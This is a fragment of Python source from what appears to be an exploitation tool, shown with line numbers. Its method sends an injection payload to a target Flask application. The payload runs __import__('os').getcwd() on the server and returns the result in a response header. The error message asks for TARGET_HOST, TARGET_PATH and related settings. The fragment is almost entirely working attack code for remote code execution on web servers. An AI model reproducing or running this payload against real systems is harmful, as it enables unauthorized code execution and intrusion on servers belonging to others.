(self)
| 66 | @brief See base class for details. |
| 67 | """ |
| 68 | def _Base__make_connection(self): |
| 69 | try: |
| 70 | return self._Base__send_message( |
| 71 | f"global r;r={self.flask_object}.make_response(" |
| 72 | f"{self.flask_object},'');" |
| 73 | f"r.headers['{self.header}']=__import__('os').getcwd();") |
| 74 | except: |
| 75 | raise CommandException(f"Unable to exploit host. Make sure the " |
| 76 | f"TARGET_HOST, TARGET_PATH, TARGET_TYPE, " |
| 77 | f"and METHOD are correct.") |
| 78 | |
| 79 | """ |
| 80 | @brief See base class for details. |
nothing calls this directly
no test coverage detected